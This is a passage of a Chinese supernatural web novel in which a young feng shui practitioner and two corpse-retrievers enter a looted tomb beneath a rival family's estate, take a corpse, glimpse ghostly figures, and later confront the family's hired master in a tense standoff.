顿鼓的形容,比石墩子要准确的多。 再看山脚,我心头猛地一颤,下意识便脱口而出:“禄存土星如顿鼓,下生有脚如瓜匏,瓜匏前头有奸峰,此是禄存带杀处,杀中若有横磨剑,此是权星主出武!” 这山形,确确凿凿,就是禄存星山的模样。 三碧震是禄存。 天星照砂山,砂山是禄存。 钱家妥妥当当承受了这风水位带来的好处! 只不过,这更侧面看出来了,钱家的确没有先生。 我先前念出来的那番话,就是风水中,关于禄存星最好的局。 这三米高的棺山,已经有了完全的顿鼓之相,山脚有了瓜匏之形,只是,瓜匏前头没有奸峰。 奸峰非好山,而是需要禄存镇压之杀山,才叫禄存带杀! 关键就在这里,只要在山脚瓜匏之前,立起来一块山石,再用山石来回磨剑,最后嵌入山石中,风水就会最大化! 如此一来,别说我不可能用冲煞的手段破钱家祖坟。 我只要做了,钱家非但毫发无伤,我还得暴毙而亡! 这钱家,占尽了天时地利,却偏偏没有人和! “呼……” 我长长吐了口浊气,才说:“苟叔,只要破了这里,钱家就是祖坟阳宅皆破,他们就完了。” “这么玄乎吗?”苟驹喃喃着,眼中却充满了急迫和期待。 “嗯。”我点头,随之仔仔细细的看着棺山,开始绕山转圈儿。 “山不该上红漆,三碧震为幽绿,红相悖。”我喃喃低语。 “可不嘛,红配绿,赛狗屁,狗日的钱家,球经不懂。”苟驹在一旁附和,认同我的话。 徐湘灵没吭声,反而拉了拉苟驹,是示意他别打断我。 我没有因为苟驹的话而分神,又低语:“红漆似棺,棺中必葬尸,此地福神护法,尸在山下,钱家也算是阴差阳错。” 语罢,我看向苟驹和徐湘灵,慎重道:“要下水了。苟叔你和徐姑娘下去,用水下电筒探照,我再下来,方便探查。” 苟驹和徐湘灵最先没料到能用得上他们。 此刻,苟驹脸上微微涨红,显得很喜悦兴奋,徐湘灵同样正色许多。 两人先下了水。 我隔了半分钟左右下水。 这潭水不宽,从山脚出来也就两三米,不过往下,就要深得多,水下的山更要高得多,山体一直往下,慢慢变大,最后到了一定深度,完全和水底契合,这也就是真真切切的水下山脚了。 我还是看不出水源来自哪儿,不过,我瞧见了一个黑漆漆的地方,那是个洞。 洞口处于山脚和水底的相夹处,高约一尺半,人缩着肩膀恰巧能钻进去。 这会儿,我憋气快到极限了。 迟疑一瞬,顿莾头钻进洞内! 起先一刻,是种格外绵软的挤压感,这不是单纯的洞,有东西挡着! 我挤进了那缝隙里,还有一些水溢出来,不过缝隙中本身干燥,还带着一股说不出的腥气。 猛然用力往里钻,头,一下子破开拥挤,我大口大口的喘息着。 视线完全漆黑,什么都瞧不见,我只能双手借力,身体往前挤。 总算挤出来了,甩了甩身上的水,我快速摸出来在皮混沌包里的手机摁亮。 本身手机就有一定的防水性,水下一两小时都没事儿。 瞿九娘给我这皮混沌更大的作用,是保护葬经百解和神相千壳这两本书。 手机电筒的光,照亮了眼前的暗沉。 入目所视,这是个墓道。 两侧石壁十分光滑且干燥,如果不是我挤进来时,带了不少水入内,这里本身没有水。 倾斜往下的台阶,不知道通往何方。 轻微的嗤嗤声,似是有东西在洞口钻动。 徐湘灵挤出来了头和手,我立马帮忙拉她出来。 紧接着苟驹一样进来了,我和徐湘灵又赶紧去帮他。 三两下,苟驹脚踏实地,他们有电筒,我就收起了手机。 “这味儿,操。”苟驹吐了口唾沫。 我注意看了一眼我们钻过来那洞上的东西。 质感看上去很肥腻,更发黑。 我顿想到了一种东西。 太岁? 当时胡喋要夺舍我,我挖地上那树,不就挖出来相仿的太岁,只不过胡喋那太岁是白的,这里颜色都发黑了。且胡喋像是将魂魄都寄存在太岁身上,这里的太岁,就只是简简单单的一坨“肉”,拿来封死了墓道和水之间的空隙,不让这里被水灌满。 “小陈,这里怎么阴森森的,这钱家有东西啊,往下边儿挖了一个墓室?” 苟驹指了指墓道斜下方。 我收回思绪,低语:“的确是墓室不假,看上去还不简单,怎么上边儿的风水那么粗糙?” “管他呢,下去看看不就知道了吗?”苟驹兴冲冲开口。 我嗯了一声,才走至苟驹前方,往下带路。 没多久就走到墓道尽头,这里有一道门,看起来很厚重,材质像是汉白玉。 门两侧各有一石像,眼珠子凸起,面貌狰狞,是守墓镇物。 这种规格,已经不是钱家这种小打小闹的家族能弄出来的东西了。 我愈发的疑惑不解。 就很简单,能有这种墓葬规格,那设下此地的人,风水造诣极高,远远胜过我,我在他面前就是小喽啰,可这样厉害的一个人,怎么可能给自家弄那么差的祖坟,更无法利用三碧震对应禄存星山的风水? 第195章 报应不爽终来到! 这钱家,处处透着古怪。 我说不上来,只能再低头看仕金盘上的指针。 的的确确,还是福神护法的兑针。 意味着这门内墓室,一定葬着钱家人,这人一定不是什么凶尸恶鬼。 “不太对劲啊小陈。” 苟驹按耐住了神态的急迫,狐疑的看向我。 “是不对劲,但其实是对劲的。” 我回答完,就手摁在了门上,用力往里推。 沉闷的声响中,汉白玉的墓门被我缓缓推开。 苟驹搭把手帮忙,徐湘灵则谨慎的看着墓门内的情况,手中紧握着卜刀。 墓门完全开启,手电筒灯光下,内里墓室一览无余。 只是,这墓室看上去十分简陋。 明明外面有守墓镇物。 明明还有汉白玉的墓门。 明明,还有一条墓道。 结果,墓室只有居中,摆着一口棺材。 这棺材通体朱红,并没有让人觉得压抑,反而有种暖意。 这墓室内更没有冷意,透着一股淡淡的温暖。 只是这股温暖正在逐渐退散。 并非因为我们进入此地导致这种变化,是因为钱家的祖坟被破,连带着风水逆转。 “诺大一个家族,下边放了棺材,没有个陪葬品,这么寒酸?” 苟驹朝着棺材走去。 我往前的同时,打量四周。 墙上有壁画。 壁画中,是一些开仓放粮,或者是赈灾止水的简图。 年岁长了,以至于色彩褪去,许多地方只剩下简单的线条。 我扫过壁画后,又看向其他位置。 墙角地面有很多印子,像是曾经摆放过某些东西,又被挪掉,导致有了印痕。 不光如此,那口红棺的四周,更有深深的凹槽,像是镶嵌过某种东西。 我走至近前,蹲身下去看,从凹槽中捻出来了几节木屑。 这可不是简单的木屑,质感十分厚重,色彩呈现金黄。 居然……是金丝楠木!? 从这细节上去判断,这墓室若干年前,绝对不是这个模样。 这里曾经有色彩斑斓的壁画,曾经有摆满墙角的陪葬品,曾经还有金丝楠木的棺材。 时至今日,却截然不同! 我正出神思考着呢,徐湘灵却开了口,喃喃说着:“很多很多年之前,至少得有百八十年,甚至更久以上了,我师爷讲,天沧江曾经遇到过极大的洪涝,是因为水里有一条大蛇翻滚。” “十里八乡的百姓,凑了一大笔钱,请来相当数量的捞尸人,外加命硬会水的汉子,硬生生去斩了蛇头,水势非但没有平稳,反倒是愈来愈凶,愈来愈大。眼看着岸边几里地都遭了灾,卷走了不知道多少人。” “一时间,名不聊生,哀鸿遍野,加上战火纷飞,那时候的当地,还只是官府,根本不管这里,让人自生自灭。” “有个叫五钱镇的地方,出来了个五钱先生,他携棺镇水!” “将水患镇压下来之后,岸边冲上来个无头蛇,抽了他胸口一下。” “他用一把铜钱,将蛇镇住,才告诉村民,这其实是一头要迎来蜕皮受劫的蛟,一旦成了,那就是龙了,只不过,它太兴奋,惹恼了村民,遭受杀身之祸。” “它的死,是命数,是必然,命里它有一劫,就是过不去。” “可它死了以后不甘心,不愿意就此投胎,继续搅动风水,导致民不聊生。” “今日一镇,让水边百姓分了蛇肉蛇骨去吃,来年必然风调雨顺。” “五钱先生说完这番话后,就口喷鲜血,撒手人寰。” “江边百姓为了感激他,请了工匠,要给他做笔画,凑了钱,要给他换金丝楠木棺。他携棺治水,是清楚,这一治,他就不能活着回去了。百姓不能白拿了好处,要回报。” “之后具体五钱先生的葬处在什么地方,没有人知道,是他弟子和家人操办这件丧事。” “没多久,战火纷飞,五钱先生剩下的家人不知道去向何方。” 徐湘灵话音稍顿,才说:“钱家,是近六十年出现的家族,一神婆,一棺材匠,就将家族支撑起来是,方圆百里都有着赫赫威名,当年姐夫对他们的事情,才那么上心,否则其余人就算给钱,也未必去捞尸的。” “这里的壁画,是传闻中的壁画,这里地上那么多印子,是陪葬品被搬空,陈先生你捡起来的木屑,是金丝楠木……” “钱家是不是占据了五钱先生的墓葬,拿了陪葬品,搬走了棺材,又放上自家的棺材,将此地占为己有,甚至是在地上修建了大宅?” 徐湘灵最后这一番话,是紧咬着牙关,眼中透着浓烈的询问。 她更握紧双拳,眼中还流淌着一丝丝恨意和怒。 当然,这神态不是针对我,是针对钱家的。 我瞳孔微缩。 其实,我就想到一部分了。 徐湘灵补充的这一部分,刚好就是我所判断的空缺处! 没错! 这里的陪葬品被搬走,这里的风水不对劲。 这里明明强,但实际上很弱。 这里,就是钱家鸠占鹊巢的地方! 怪不得上方的棺山没有对着奸峰。 十有八九,奸峰是存在的,只不过被钱家这群不懂行的人给推平了,只是留下一个棺山墓葬在这里不敢动。 所谓棺山双斗,还以为是多大的地方,多大两个人物。 没想到,是两个盗墓贼! “嗯,你说的八九不离十了。”我微嘘一口气,点点头。 “他们太过分了!真的,太过分,太过分!”徐湘灵眼眶更红,颤声说:“没有五钱先生,哪儿有今天的天沧江两岸百姓,怕是当年就全部死于水患,没有五钱先生,更没有这一段江域的捞尸人!当年已经被那蛟龙给索命!” “鸠占鹊巢,搬走别人的陪葬品,那五钱先生的尸身呢?被他们弄去了什么地方!?” 越说,徐湘灵就越是义愤填膺。 苟驹眉头紧蹙,脸色同样一阵阵难看。 他一样是捞尸人,一样承受着五钱先生的恩情。 只不过,他没有徐湘灵这么细心,没有第一时间发现问题所在。 我没开腔,只是走到棺材前头。 伸手,问苟驹要了卜刀。 卜刀插进棺盖,我翘掉了上边儿所有钉子。 紧接着,我用力推开盖子。 吱呀的声响中,棺盖被打开了。 我才同时说道:“这尸体,我要带走!” “钱家内外风水竭破,家运一泻千里,这,就是报应!” “报应不爽,终究来到!” 第196章 挥手道别 棺材内的尸身,是个老妪。 这老妪穿着一身花花绿绿的衣袍,许是因为年份久了,衣袍更有些褪色。 再看老妪的脸,皱巴巴拧在一块儿,就像是愁眉苦脸似的。 “这老阴逼玩意儿,要来有啥用,不如一把火烧了来的痛快。” 苟驹咧咧了一句。 关于河神夺女的事情,苟驹是清楚的。 当初在黄渠村里,瞿九娘没有隐瞒这事儿。 九尸拉棺,无论是我,还是瞿九娘都没有和苟驹说过。 才导致于在胡家的时候,苟驹也会搭腔,让那对夫妻带走阴胎。 此刻才会说,烧了钱家这具尸体。 “二黑飞星巨门,三碧震廉贞,所出尸骸,皆为九星九尸,我拿着有大用,苟叔,这也算是机缘巧合了,我帮你,顺道还拿到了自己的东西。” 我这一句话,算是解释清楚了事由。 苟驹怔了怔,才说:“原来如此,我一直以为阴胎的事儿,是你不得已,这会儿是因为我呢。” 当然,苟驹这话并没有透出有别的意思。 他只是单纯的说自己弄明白了。 深呼吸,我探身进棺材内,一把抓住老妪尸身肩头,将其用力往外一拖! 本身这墓室里残存的暖意,顷刻间荡然无存。 尸身放在地上后,尸体本身的阴翳感就变得更强。 老话说死者为大,就是这个缘由。 尸体虽然是死人,但也有着自己的脾气,侮辱尸身,虐待尸身,尸身就会有反应。 哪怕是一具善良无恶的尸骸,都会变得凶骇异常。 苟驹在骂骂咧咧。 意思是钱家不是什么好东西,凭什么睡五钱先生的墓室,真该死,什么万劫不复,什么下油锅剪舌头都上来了。 眼瞅着那老妪尸体居然开始冒白毛,我就打算制止苟驹。 徐湘灵率先低语:“姐夫,收着点儿吧。” “收个瘠薄,你让她诈尸一个试试?老子话撂在这里,要不是她对小陈有用,老子还不想烧她了,花点钱,找几个不要命,火力壮的汉子,给她来上一百遍,好好让她吃点儿阳气。”苟驹骂着,话是真的有够脏。 怪异的一幕发生了。 老妪身上的白毛冰雪消融,居然不见了。 “看嘛,闹批麻了,老子又不是吓大的。” 苟驹还踹了踹老妪的脸。 对钱家,他是没有半毛钱的尊重可言。 话又说来,恶人还需恶人磨这句话不假。 老妪明摆着要诈尸,我依循规矩,白姝灵一样,就苟驹骨头硬,不肯给钱家好脸。 “不晓得他们把五钱先生怎么样了,哎。” 白姝灵无奈的叹了口气。 “撅人尸骨者,必被人掘尸骨,这就是现世报。”我沉声道。 过去的事情,都大几十年了,不该我们管,我们也管不了。 动钱家,我们是来阴的,现下,我们就得赶紧撤了,否则狭路相逢,那才叫不死不休。 思绪间,我说了眼下要撤离的打算,苟驹和徐湘灵自没有其他意见。 一行三人带着尸体离开。 之后苟驹显让我钻过太岁洞出去,上院子里等着。 我自没有扭捏。 出了水潭,到了棺山旁。 月光要比之前更阴冷一些了。 院子顶端蒙着一层绿朦朦的雾气。 一切都很安静,没有人进这个院子。 想来钱家所有人,还在祖坟那里焦心,或许都还没有找到我布置冲煞的地点。 一旦找到,他们就会知道是苟驹。 他们想反应过来家宅也出事了,就不是一时半会儿能做到的了。 毕竟,风水的影响, 只有冲煞才是立竿见影。 时间一点点过去,终于,徐湘灵从水面探出头来。 苟驹随后冒出脑袋,一具老妪的尸身被两人举出水面,我赶紧在一旁接着。 “怪冷的。”苟驹上了岸后,缩着肩膀,打了个寒颤。 “风水变了,自然会冷,这里的阴阳宅,变成阴阳宅凶了,天星更是凶星,钱家人走在路上都得暴毙。”我如实说。 “好啊!”苟驹满脸赞叹。 这时,我低头瞅了一眼自己的手掌。 掌四门起雾的相格,无形之中早就消失不见,尤其是手掌本身的枯黄色都已经退散,成了正常的淡粉泛黄。 代表着旁人对我的算计落空。 代表着这一役,我完胜! 抬着尸体,匆匆走到了院墙边儿上。 徐湘灵和苟驹先配合着将我弄了出去,再如法炮制的弄出老妪尸身。 再之后,我们自然不能光明正大的从镇上走,恰巧钱家的位置已经在镇边缘,几乎没有人家的地方了。 我们便从钱家后方一直走到无人的田地,再抬着尸体绕远路,到了五钱镇那条要汇入天沧江主流河段的镇河旁。 这会儿,苟驹干了一件事,他让我和徐湘灵在这里等,便直接跳进水里,朝着一个方向游去。 约莫一小时左右,苟驹回来了,他是撑船回来的。 这一幕让我惊诧不已,苟驹才解释说,我们先前进镇的时候,他就瞄到了镇口的水里有船,那会儿还想着呢,要不要到时候操使操使,指不定真用得上,这不,用场来了吗? 话不多说,我和徐湘灵将老妪尸体放上了船底,经过镇口的时候,因为天太黑,大排档都没有人消费了,倒也不用遮遮掩掩。 只不过,刚撑出去一小段路,徐湘灵就惊声喊:“有人在看我们!” 苟驹撑船的速度立马变快,我飞速回头,看向后方。 果然,镇口岸边站着一个人。 那人身材清瘦,在月光下皮肤都泛着一层淡淡的青色,不,有些类似于钱家上空弥漫的幽绿? 那人身上更穿着一身唐装,对,很明确是唐装,我见过陈瞰山的装束。 只不过,这唐装居然也是一股墨绿色。 这人怎么看,都透着一层死气沉沉的味道。 随着我们的船变远,他举起手来,似是摆手道别。 “嚯……见他妈的鬼了!小陈你看前边儿!”苟驹显得毛骨悚然,喊了我一嗓子。 我立马顺着苟驹所指看向前边儿。 让我头皮噌的一下发麻的是,十几米外的岸边,居然也站着一个人,身着墨绿色的唐装,冲着我们摆手。 他身材修长。 他面颊削瘦。 他……不像是活人,更不像是现在的人! 我再度扭头,看向镇口的方向。 镇口的岸边,已然空无一人! 第197章 好像有点儿死了 “五钱先生?”我惊疑了一句。 再看苟驹先前示意的位置,却发现人影又消失不见。 来也匆匆,去也匆匆,没留下丝毫的痕迹! 苟驹停了下来,没有继续往前撑船了。 “他来了,他走了……” “阴宅如果是一个人的家,相当于钱家人冲开他家,抢走他所有的东西,将他的尸体抛到了别处。” “钱家是赤裸裸的盗贼,那他的尸体……被扔在了哪儿?” “是……镇口么?” 徐湘灵这番话,分外哀伤,分外怅然。 作为天沧江旁的捞尸人,如今这一段天沧江流域能风调雨顺,全靠当年五钱先生的献身,徐湘灵很知道知恩图报。 她这番话,明显是想将五钱先生的尸身找出来,更想要让他回到自己本身应该在的地方,再度安息。 苟驹没有接话茬,我同样没有接话。 对苟驹来说,眼下的事情就足够焦头烂额的了。 只是初步在和钱家交锋的占了上风,让钱家连续吃了两个哑巴亏,这不代表已经对付了钱家。 如果分神出去,必然没有什么好结果。 于我来讲,这纯粹是去做好人好事,我现在却还没有这种积德行善的“资格”。 毕竟今日我和苟驹的行为,还算是“贼”呢。 苟驹再度撑船,我们朝着天沧江的方向驶去。 此前要考虑走江面会否遇到钱家人,现在则不需要想那么多了,钱家肯定都被引走了。 因此,我们从一条支流汇入天沧江,又经过了能前往徐湘灵家以及苟驹老宅那条支流。 苟驹本来是想回家看看,我表示说不用,到时候自然能回去,而且钱家人要不了多久,就得来找我们了。 苟驹这才安耐下心绪 。 这么长的距离,全靠走水路撑船,苟驹和徐湘灵两人一同上手,都累得够呛。 当我们回到回水湾的时候,都快天亮了。 太天亮之前那一瞬的夜色最为黑暗,再加上回水湾有捞尸队,住在附近的人都不会闲着没事儿靠近这里,我们抬着尸体回到了小二楼。 照旧将老妪尸身送到了地下墓室中,九星对应之尸,我已经凑足了两口。 若是将这件事儿看成一个进度条,那完成度已经超过百分之二十了。 我内心开始活泛,觉得希望,是大大的有! 再然后,自然就是休息。 昨天晚上通宵没睡,就今儿白天赶路过程中歇了会儿,再加上今夜,是两个昼夜不眠不休了。 机器都不能这样连轴转。 徐湘灵住之前我爸的房间,索性床单是换过的,苟驹睡我爷爷的屋子,他倒是撇脱(方言是干脆利落,不矫揉做作的意思),床单也不需要换。 我去冲了个澡,回到床上躺下的时候,天都彻底亮了。 这一觉,真就是睡了个天昏地暗。 等醒来的时候,都已经夕阳西下,是傍晚了。 伸了个懒腰,我从房间出去。 恰巧,徐湘灵推开门进屋,她手中还提着大包小包的饭盒,是去买吃的了。 楼梯传来脚步声,是苟驹下楼。 “操,睡爽了,巴适。”苟驹打着哈欠拍嘴,顺手揉揉肚子。 “安逸了涩,肚头饿了,小灵这妮子饭就买了回来,不过嘛,这些堂食外卖都要少吃,以后嫁人了,要自己煮饭,晓得不?”苟驹一边指点,一边下楼进客厅。 我尴尬,苟驹是还没反应过来我意思。 “姐夫,你别乱说话了,我没得那意思。你看不出来吗?”徐湘灵脸泛红,她咬着唇,直接说道。 从徐湘灵的话语间,是说她自己没意思。 她只有最后那一句话,着重点了点,是话里有话。“乱讲!”苟驹大声嚷了一句。 下一刻,苟驹反倒是戛然无声了,他像是回过味儿来似的。 瞪了瞪徐湘灵,又瞪了蹬我。 我略尴尬的笑了笑,没搭腔。 这话,肯定得挑明的,不然才更尴尬。 “想不通嘛,鬼婆娘有鬼婆娘的好,人婆娘有人婆娘的好,小灵都晓得,她不介意的嘛。” 苟驹人轴,又说了一句。 就在这时,砰砰声响骤起! 是我房间门,猛然间一开一合! 房间内都起了一阵阵风! 瘆人异常! “喔唷,未必然还要弄我了?男人说话,婆娘家家也管的上?” 苟驹横眉冷对我房门,腔调很硬! 徐湘灵悄无声息的出现在门口,她不是鬼,是那河魁尸! 她身上穿着鲜红的嫁衣,她面无表情,却显得分外凶厉! 我哪儿知道,事情会一瞬间闹成这样? 不过,还好徐湘灵只能待在房间里。 苟驹脸色一阵青红交加,明显是气到了。 他也没有吭声,没说要去和徐湘灵干一架。 “陈先生,你别搭理我姐夫,他乱点鸳鸯谱呢,我也没别的意思,咱们是朋友,不是吗?” 徐湘灵侧头看我,她脸颊上的红,微微退散,更多是白,不过这白,又像是没有多少血色。 “抱歉……” 我略带歉意。 “姝灵,回去!别闹!” 话语间,我看向房门,眼中带着一丝愠怒还有谴责。 砰的一声,门重重闭合。 苟驹嘴里不知道念叨几句什么,最后嗐了一声,在茶几旁坐下了。 徐湘灵拆开饭盒,给我们分饭。 再之后,大家就有了默契,心照不宣的夹菜吃饭。 这一下子,气氛又好多了。 吃着吃着,苟驹开始岔开话题,意思是,按照我的说法,钱家会来找我们服软?河神老爷会给送回来,那钱家吃这么大的亏,他们什么时候会来? 会不会来的时候弄什么幺蛾子手段? 徐湘灵同样略担忧,说:“对,我也怕这个。” “在别的地方怕,在回水湾,我们不怕。”我心平气和的回答。 稍稍一顿,我继续道:“不见棺材不落泪,钱家不会那么快来的,他们多少会想办法弥补,不过,他们补得了么?” 阴宅阳宅祖坟,我几乎完成了三面绞杀! 钱家要还能破解,那我只能说自己真的学艺不精。 只不过,这几桩风水,不全是依靠我的本事,还借助了天时地利人和! 钱家只有天时地利,他们缺人和! 果然,一晃眼过了七天,都没有人来找我们。 苟驹和徐湘灵就在小二楼里呆了七天。 我倒是无所谓,因为要看书学艺,顺道还联系学校,先办手续,保留学籍,暂时不去上课。 第八天的时候,终于钱家人耐不住了。 好大一群人,跟着一个穿着唐装的三十来岁男人,出现在小二楼外。 我则站在一楼门口,和他们对峙! 当头那男人的手里,提着一个满是细密铁丝网的笼子,里边儿关了个白毛水尸鬼。 那就是河神老爷,不过,它一动不动,好像有点儿死了? 第198章 徐发微 无人和我说过,先生的标志是什么。 此刻,我却有些明悟。 在陈瞰山,我太爷爷,祖爷爷的尸身上,就有一个共同特征,唐装布鞋。 不光是他们,葛家那老先生,前几夜镇口河边的五钱先生,无一例外,都是相仿的衣装。 这一身唐装,这一双布鞋,就告诉了行内人。 先生来了! “钱家,我日你们全家仙人板板!” 二楼窗户处,传来苟驹几乎破音的粗重咒骂! 我没有抬头,就知道苟驹看见笼子里的河神老爷了。 他怪不得会怒! 隐隐的,我还听到了徐湘灵低声在说什么姐夫你冷静。 苟驹没冷静下来,蹬蹬蹬的脚步声骤响。 很快,苟驹就出现在我身后,他手里攥着卜刀,恨不得立马冲出去和钱家人拼命。 不过,苟驹没有冲出去。 他只是喘着粗气,只是愈发的愤怒。 “这畜生东西,没有死,只是比较难处理,把它晒了七天阳光。” 那先生语气很淡。 “畜生说谁呢?”苟驹再瞪了那先生一眼。 后方那些钱家人,一个个都欲噬人一般,不过,没有人敢踏过那先生身旁半步,宛若那里有一道界限。 “你叫陈棺生,来自黄渠村,不到二十岁,风水术,算命术,都不弱了,哪怕是在我这个年纪,你都是佼佼者。” “你还不知道我是谁,我叫徐发微。” 那男人,也就是徐发微,语气平缓,没有因为苟驹的话而动怒,依旧和我对视。 并且他往前一甩,那笼子就扔到了我面前。 哐当声响中,河神老爷挣扎着动了一下。 徐发微则同时继续道:“我对钱家的一切,不够了解,钱家请我来办事,结果你将钱家风水破的一塌糊涂,这事儿,是钱家得罪了你,钱家知道了。” “这白毛水尸鬼,还给你们,钱家在你们手中,吃了大亏,就算当年有什么仇怨不愉快的事情,也足以一笔勾销。阁下给我一个薄面,此事,就此揭过可好?” “将人放了,钱家不会找你们麻烦。” 这番话在我听起来,却格外刺耳。 钱家得罪人,钱家知道了? 仇怨,一笔勾销? 薄面?就此揭过? 放人?钱家还不会找麻烦? 句句话没有提钱家究竟哪儿错了。 字字没有提钱家要道歉,要对当年的事情做个交代。 反而…… 那感觉还是钱家发话,说这件事情可以不继续下去,就像是钱家大发慈悲? 这件事情虽然是苟驹的,但我管了,就和我挂钩。 徐发微这样说。 钱家这样的态度。 别说苟驹怎么想,我都接受不了。 太高高在上,太自以为是了。 “我日你祖老仙人,你脑壳遭茅肆(si)门夹了吗?搞半天,钱家想杀人,杀,想整人,整,钱家没整过,你个小短命娃娃没整过小陈,不整了,你们还得当大爷?”苟驹一边痛骂,一边捡起来了装着河神老爷那铁笼子。 “白毛水尸鬼难寻,长成了气候,听人话的更少,我晓得你们在等什么,这东西不是归还了?” 徐发微面色微微一沉,才说:“不要随时把那些龌龊话挂在嘴边,否则,我就是自行动手,也要给你长点儿教训。” “你的意思,是你不管钱家的因果,就能绕过我,对付苟叔是么?”我开了口,同时摇摇头继续说:“你但凡能做到这一点,你应该不用站在这里。” “道歉,要有个道歉的态度,不是颐指气使。” “你让放人,想来,是你没破开阳宅风水,那女鬼还困着当时那个神婆。” “想来,那个人对钱家来说,至关重要了?” 这话语间,我扫过徐发微身后的所有钱家人。 心神,更定了。 徐发微的手段,的确没有多强。 他只能找上门来当面唇枪舌战,那这整个钱家,就不足为据! “我还是那句话,道歉,要有个道歉的态度,钱家想要那个人,可以。” “但当年的事情,必须给苟叔一个交代。” “谁,是让那女鬼借体还魂的怂恿者?谁,发起了这件事儿?要站出来,任凭苟叔处置。” “如果是那个人的话,嗯,你们只要说出来,然后等着来接他回去就行了。” 我沉声开口。 苟驹的脸色好看了些,他已经将那铁笼子打开了,河神老爷无力的趴在他肩头,看似奄奄一息,不过,还尚存一息就是没死。 “我还有个要求,你们钱家,现在有一个算一个,做任何事情,都要披麻戴孝,三天为限!” 苟驹随之开口,要求不可谓不刁钻。 这就是让钱家人给他亡妻戴孝。 不过,这事儿和钱家所作所为一对比,就不会觉得过分了。 当年苟驹本来将迎来一家三口的生活,最终却因为钱家的一己私欲而家破人亡,到现在成了孤苦伶仃的一个人。 甚至这途中,苟驹还被打断手,可想而知,当时的他被钱家逼的多崩溃绝望? “荒谬!荒谬!荒谬!” “放肆!放肆!放肆!” 怒斥声,从其中一个钱家人口中传出。 那人的年纪不小了,得有六七十岁,身材瘦高,腰间同样别着一把板斧! 这,是个棺材匠! 钱家不是所有人都是神婆和棺材匠,只是一部分。 这棺材匠的气势十分厚重,和人对视,就给人一种冷冽感,像是被毒蛇盯上! 他踏步往前,和徐发微抱了抱拳,才颤巍巍的说:“徐先生,你不是说了吗,只要听了你的名字,这陈棺生就不敢狂妄,要归还我家老太君的尸身,还要终止对我钱家的算计,确保以后不会伤我钱家,这怎么……他一直让这苟驹疯言疯语,甚至就连他都胡说八道,提根本不可能的无理要求呢?” 说实话,这句话让我都愣住了。 徐发微多大的本事,让我听了他的名字,就得夹着尾巴做人? 徐发微敢说,钱家就真的敢信? 这当口,我都不知道说什么才好了。 苟驹却噗嗤一声笑了出来,随后他就捧腹大笑。 徐发微的脸色却逐渐变沉,接着一沉再沉。 “苟驹,你可以闭上你的嘴了。” “这样吧陈棺生,我给你打电话的时间,找你的师尊去问问,你就问他微茫道场,你敢不敢,能不能招惹。” 徐发微深深看向我,才说:“打完这个电话,你再考虑是否要按照我先前所说的做,还是说,你要一意孤行。” “你若是懊悔了,我可以宽恕你,毕竟你是从个山野小村出来的,你师父也只是拈花圣姑,那个疯婆子罢了。” 我微眯着眼。 徐发微对我的调查,很深啊。 她将瞿九娘当成了我师尊,并且,他还如此瞧不起瞿九娘? 第199章 打脸! 真要说风水术,瞿九娘的风水术,必然比我的高。 徐发微都不是我的对手,都没能保住钱家,他知道了瞿九娘,都还是敢直接威胁我。 当然,这种威胁不算太强硬,至多是软威胁。 那徐发微这人,就是真的有来头。 发微道场,又是什么存在? 一时间,我沉默不言,只是在思索。 “哦?看来你不需要打这个电话,只是后知后觉?听见徐,听见发微这几个字,都不知道我是谁,和你说发微道场,你一下子就明白了?”徐发微再度开口,一时间,他腰背都要挺直更多,眼中透着一丝丝高高在上。 其实,类似徐发微的人,我接触过了。 譬如葛家,譬如葛俊。 我也感受过,我低头后退,造成的结果。 葛家没有把我当回事儿,葛俊没有把我当回事儿。 今日,我若是在徐发微面前低头。 钱家将我当成一回事儿? 钱家会将苟驹当成一回事儿? 这几天的事情,他们只会不惜一切代价的来报复! 话归正题。 人,总不能一直被人牵着鼻子走吧?这一时间,就连苟驹,居然都没吭声说话了。 就好像他都被震慑到不敢胡言乱语,不敢给我招惹麻烦一样。 正因此,钱家人的态度,正在逐渐转变。 从对峙中的凝重,逐渐变得冰冷,开始变得愠怒起来。 “陈棺生,你及时点头,就按照我所说的去做,嗯,再交出你带走的尸体,算是你给我一个薄面,我也给你一个薄面,这件事情就此揭过,我可以保证钱家不找苟驹的麻烦。” 徐发微再度开口,他显得怡然自得。 “不够,还要将他们从水里打捞出来的尸身交出来,我钱家方可答应。”徐发微身旁那个棺材匠沉声说。 徐发微眉头本来稍皱,那棺材匠凑近其耳边,低语了几个字。 徐发微顿畅快大笑起来,说:“好!哈哈,那就按照这样做吧!” “陈棺生,钱魁老爷子的话,你都听见了吧?该怎么做,你也明白了。” 前一句话,徐发微是和那个钱魁说的。 后一句话,就是对我点名道姓! 很明显,钱家应该付出了什么代价,不然,那钱魁临时提要求,徐发微都要变脸了。 现在他却完全支持钱家。 “你们……欺人太甚!”苟驹在微颤,他的脸在涨红,他双手死死握着卜刀,似是要冲出去,和钱家人拼了! “欺人太甚?呵呵,欺你如何?”徐发微似是很高兴,揶揄的讽刺了苟驹一句。 齐刷刷的哄笑声从钱家人口中传出。 随着徐发微的态度变强硬,钱家的态度一下子也拔高了。 “嗯?陈棺生,你还不说话?” 徐发微声音逐渐变冷。 我微嘘一口气,才说:“听见了, 不过,我觉得你说的话,不像是人话,倒像是狗叫,钱家这群畜生东西,跟着你一块儿叫,狗仗狗势,还是狗仗人势,我一时间没分辨清楚。” “你这要求,我答应不了,钱家那神婆,就死在老宅里吧,至于钱家的风水,那本就不是钱家的宅子,钱家抢人坟茔地盘而已。” “发微道场,我没听过,我也不打算去问瞿九娘。” “你认为我的师尊,只是拈花圣姑?那你就那么认为便好了。” “你可以带着钱家这群人滚了,如果你觉得不爽,我欢迎你随时找我来斗!” “嗯,我可以告诉你,瞿九娘只是我陈家曾经的附庸,发微道场,对比金尺玄算,能强势几分?” “就算你发微道场更强,那好,你们道场只要肯为了钱家和我死斗,那就放马过来,我倒要看看,你们能否轻松的将我捏死。” “捏不死我,我就毁了你道场风水,咱们来个不死不休!” 我这一番话,最开始是平静的。 说到后边儿,我语气都变得高亢起来,更是带着一丝丝怒气。 人要脸,树要皮,徐发微要让我没脸,那我就只能顺道告诉他,我可以扯掉他的皮! 钱家众人勃然大怒,尤其是那钱魁,他没有和我对骂,一直在和徐发微低语,意思是我太狂妄了,必须给点颜色看看! 徐发微笑了起来,他的笑声很冷,很刺耳,基本上可以说是怒极反笑了。 “金尺玄算,陈家?” “还真是陈家个破落家族留下来的落魄子弟,金尺玄算当年是有点儿本事的,可现在,你也配用金尺玄算这个名字?你陈家的祖宅在哪儿,你进过吗?你进得去吗?陈棺生啊陈棺生,你太狂,人狂,必有天收!”说到最后,徐发微几乎是怒不可遏,咬牙切齿! 